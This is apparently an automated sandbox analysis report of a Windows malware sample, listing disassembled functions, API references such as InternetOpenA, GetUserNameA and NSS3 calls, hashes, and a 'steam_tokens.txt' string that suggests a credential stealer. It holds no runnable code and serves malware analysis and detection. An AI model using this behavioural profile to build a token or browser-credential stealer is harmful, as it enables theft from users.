Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction ID: b86936f0f7b92ad6105a5e8d9325c57b614f4cde8fc05540e07f2d0ff83aec39
Opcode Fuzzy Hash: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction Fuzzy Hash: 1BE0867098570CBBE7309BA0DD0AB1976689B08B06F101055F7097A1D0C6B425008699

Uniqueness

Uniqueness Score: -1.00%

Function 004119B0 Relevance: 3.1, APIs: 2, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004119C8

Part of subcall function 00411650: wsprintfA.USER32 ref: 00411669
Part of subcall function 00411650: FindFirstFileA.KERNEL32(?,?), ref: 00411680

strtok_s.MSVCRT ref: 00411A4D

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction ID: 5fc3070f54b5ba386e916c7c3ae22cc6ad81f817c7a7f871d2ab45b9afc63085
Opcode Fuzzy Hash: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction Fuzzy Hash: 19215471900108EBCB14FFA5CC55FED7B79AF44345F10805AF51A97151EB386B84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02DB6B20,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(00000000,00000000,0041D599,?,?,?,?,?,?,00412FF8,?), ref: 00412B5A

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02DD4B40), ref: 00404ED9

Strings

steam_tokens.txt, xrefs: 00412B6F

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$InternetOpen
String ID: steam_tokens.txt
API String ID: 2934705399-401951677
Opcode ID: abd9f4bf629d941cdd6fe3a30ed7d637be891c2ab59dcf2f60f78f377b6893e3
Instruction ID: 10dd2298c38adeb5e36390c5bfe4eda46295fd03d88468a146a299c80adb3810
Opcode Fuzzy Hash: abd9f4bf629d941cdd6fe3a30ed7d637be891c2ab59dcf2f60f78f377b6893e3
Instruction Fuzzy Hash: 18F08175D1020866CB18FBB2EC539ED773D9E54348B00425EF81662491EF38A788C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 004147C0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 004147CD
wsprintfA.USER32 ref: 004147E3

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction ID: d87a4f6b3ea3f44bdf221dc5e2fa01f01132d118a4d77551e5f155a4815ada85
Opcode Fuzzy Hash: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction Fuzzy Hash: FAD012B580020C5BD720DBD0ED49AE9B77DBB44204F4049A5EE1492140EBB96AD58AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B190
lstrlen.KERNEL32(00000000), ref: 0040B1A4

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02DD4B40), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocInternetLocalOpenmemcmpmemset
String ID:
API String ID: 574041509-0
Opcode ID: 5a9c9eeb5da072230c7d2063ef9ad842fbb90479b213bddbe391401cd367b777
Instruction ID: df99340f366afcb3d937a345db0e295b6fae9bf0b5ece921659d29683b3ff0c0
Opcode Fuzzy Hash: 5a9c9eeb5da072230c7d2063ef9ad842fbb90479b213bddbe391401cd367b777
Instruction Fuzzy Hash: 6CE114769101189BCF15EBA1DC92EEE773DBF54308F41415EF10676091EF38AA89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6E0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040A95A
lstrlen.KERNEL32(00000000), ref: 0040A96E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02DD4B40), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 215fd8a30ebf00eb3eae55fe33d7aa6328f479e104b553f7735dd4c57fc7dc8d
Instruction ID: 9f23dc4c71334aa449457ef7a0e8bbad4682aa92b3b7ddf60c673b4dae8ee631
Opcode Fuzzy Hash: 215fd8a30ebf00eb3eae55fe33d7aa6328f479e104b553f7735dd4c57fc7dc8d
Instruction Fuzzy Hash: FC9149729102049BCF14FBA1DC51EEE773DBF54308F41425EF50666091EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA20 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040AC1E
lstrlen.KERNEL32(00000000), ref: 0040AC32

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02DD4B40), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: e9c4bc97659564c2d85d22b1cf3d081e5950ce380bc447c67a5ba9ded3c8e4b2
Instruction ID: 57c8c1270dba92ae3db9aa8e51dd660502e79bf125d10b7c0566732e7217b02b
Opcode Fuzzy Hash: e9c4bc97659564c2d85d22b1cf3d081e5950ce380bc447c67a5ba9ded3c8e4b2
Instruction Fuzzy Hash: C07153759102049BCF14FBA1DC52DEE7739BF54308F41422EF506A7191EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004114C0 Relevance: 2.6, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00411550

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction ID: 8f9af232e05b2939ec69b712380268a2006cbed21c6953bc19412128f28bf8b7
Opcode Fuzzy Hash: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction Fuzzy Hash: 0641F770A00A289FDB24DB58CC95BDBB7B5BB48702F4091C9A618A72E0D7716EC6CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406050 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(004067AE,004067AE,00003000,00000040), ref: 004060F6
VirtualAlloc.KERNEL32(00000000,004067AE,00003000,00000040), ref: 00406143

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction ID: 5341a9e810d76a35e886a0404415562c2a616bd51e9685e0b668c9c894d7d0dc
Opcode Fuzzy Hash: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction Fuzzy Hash: 8341DE34A00209EFCB54CF58C494BADBBB1FF44314F1482A9E95AAB395C735AA91CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412A80 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412ABA
lstrcat.KERNEL32(?,02DDB5C8), ref: 00412AD8

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 2d9993cb8f8106af6fc02f4d41a0dd6766a466a8ebf736a2bafed09039a612f0
Instruction ID: bcc253f25bf78e1a0e90404f031f6467c50b05fa57c941630bc3dd144581bb5c
Opcode Fuzzy Hash: 2d9993cb8f8106af6fc02f4d41a0dd6766a466a8ebf736a2bafed09039a612f0
Instruction Fuzzy Hash: 8701B97A900608B7CB24FBB0DC47EDA773D9B54705F404189B64956091EE78AAC4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040110E,?,?,004136DC), ref: 00401073
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040110E,?,?,004136DC), ref: 004010B7

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction ID: a2913bed729a6fe358320823385779fc3d8f71f1cc7b0a13f7ab4b92dd49de4a
Opcode Fuzzy Hash: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction Fuzzy Hash: 42F027B1641208BBE724DAF4AC59FAFF79CA745B05F304559F980E3390DA719F00CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415490 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ed183273e4759b1a55ac7322f24b264f098dc393cf1afe497dbb1135e88e8f09
Instruction ID: 7a99a0210fb0b6ed6de77f6d22eec219e0a4aedfc9bcf57955c7481c69c901e8
Opcode Fuzzy Hash: ed183273e4759b1a55ac7322f24b264f098dc393cf1afe497dbb1135e88e8f09
Instruction Fuzzy Hash: 9BF01C70C00608EBCB10EF94C9457DDBB74AF44315F10829AD82957380DB395A85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004154E0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction ID: a2db4f6e5da6e8fb8430e81bb17b8e7aa1674d593408b434fe95881a23a64460
Opcode Fuzzy Hash: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction Fuzzy Hash: A8E01231A4034CABDB61DB90DC96FDD776C9B44B05F004295BA0C5A1C0DA70AB858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02DD4D60,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

ExitProcess.KERNEL32 ref: 00401186

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction ID: 69e00d56220517d966a61d162f3bbf9e0969f4784ba4f73569e39f9695f87914
Opcode Fuzzy Hash: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction Fuzzy Hash: 78E012B5E1070462CA1573B27E06BD7729D5F9930EF40142AFE0497253FD2DE45145BD

Uniqueness

Uniqueness Score: -1.00%

Function 00414FF0 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414FF8

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction ID: 71a24ea012b18c325b39d17d5ea825459b0100de2daa219f1012b17ed67d7128
Opcode Fuzzy Hash: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction Fuzzy Hash: 1CC012B090410CEB8B00CF98EC0588A7BECDB08200B0041A4FC0DC3300D631AE1087D5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6CF26E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D072120,6CF27E60), ref: 6CF26EBC
TlsGetValue.KERNEL32 ref: 6CF26EDF
EnterCriticalSection.KERNEL32(?), ref: 6CF26EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CF26F25

Part of subcall function 6CEFA900: TlsGetValue.KERNEL32(00000000,?,6D0714E4,?,6CE94DD9), ref: 6CEFA90F
Part of subcall function 6CEFA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CEFA94F

PR_Unlock.NSS3 ref: 6CF26F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CF26FA9
TlsGetValue.KERNEL32 ref: 6CF270B4
EnterCriticalSection.KERNEL32(?), ref: 6CF270C8
PR_CallOnce.NSS3(6D0724C0,6CF67590), ref: 6CF27104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF27117
SECOID_Init.NSS3 ref: 6CF27128
PORT_Alloc_Util.NSS3(00000057), ref: 6CF2714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF2717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF271A9
PR_NotifyAllCondVar.NSS3 ref: 6CF271CF
PR_Unlock.NSS3 ref: 6CF271DD
free.MOZGLUE(?), ref: 6CF271EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF27208
free.MOZGLUE(00000000), ref: 6CF27221
free.MOZGLUE(00000001), ref: 6CF27235
TlsGetValue.KERNEL32 ref: 6CF2724A
EnterCriticalSection.KERNEL32(?), ref: 6CF2725E
PR_NotifyCondVar.NSS3 ref: 6CF27273
PR_Unlock.NSS3 ref: 6CF27281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CF27291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF272B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF272D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF272E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF27301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF27310
